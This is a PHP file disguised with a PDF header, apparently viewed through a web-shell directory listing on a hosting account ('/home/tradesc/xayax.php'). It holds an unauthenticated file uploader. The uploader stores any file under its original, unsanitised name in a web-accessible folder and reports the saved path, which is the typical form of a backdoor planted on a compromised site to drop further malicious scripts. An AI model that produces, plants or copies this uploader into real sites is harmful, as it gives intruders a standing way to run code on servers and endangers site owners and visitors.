%PDF- %PDF-
Direktori : /home/tradesc/ |
Current File : /home/tradesc/xayax.php |
<?php // Check if the form is submitted if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Check if a file was uploaded without errors if (isset($_FILES['uploaded_file']) && $_FILES['uploaded_file']['error'] === UPLOAD_ERR_OK) { // Get details about the uploaded file $fileTmpPath = $_FILES['uploaded_file']['tmp_name']; $fileName = $_FILES['uploaded_file']['name']; $fileSize = $_FILES['uploaded_file']['size']; $fileType = $_FILES['uploaded_file']['type']; $fileNameCmps = explode(".", $fileName); $fileExtension = strtolower(end($fileNameCmps)); // Define a destination path for the uploaded file $uploadFileDir = './uploaded_files/'; $dest_path = $uploadFileDir . $fileName; // Create the directory if it doesn't exist if (!is_dir($uploadFileDir)) { mkdir($uploadFileDir, 0755, true); } // Move the file from the temporary directory to the destination directory if (move_uploaded_file($fileTmpPath, $dest_path)) { echo "File is successfully uploaded.<br>"; echo "File Name: " . $fileName . "<br>"; echo "File Size: " . ($fileSize / 1024) . " KB<br>"; echo "File Type: " . $fileType . "<br>"; echo "Stored in: " . $dest_path; } else { echo "There was an error moving the uploaded file."; } } else { echo "No file uploaded or there was an upload error."; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Upload File</title> </head> <body> <h2>Upload File</h2> <form action="" method="post" enctype="multipart/form-data"> <label for="uploaded_file">Choose file to upload:</label> <input type="file" name="uploaded_file" id="uploaded_file"> <br><br> <input type="submit" value="Upload File"> </form> </body> </html>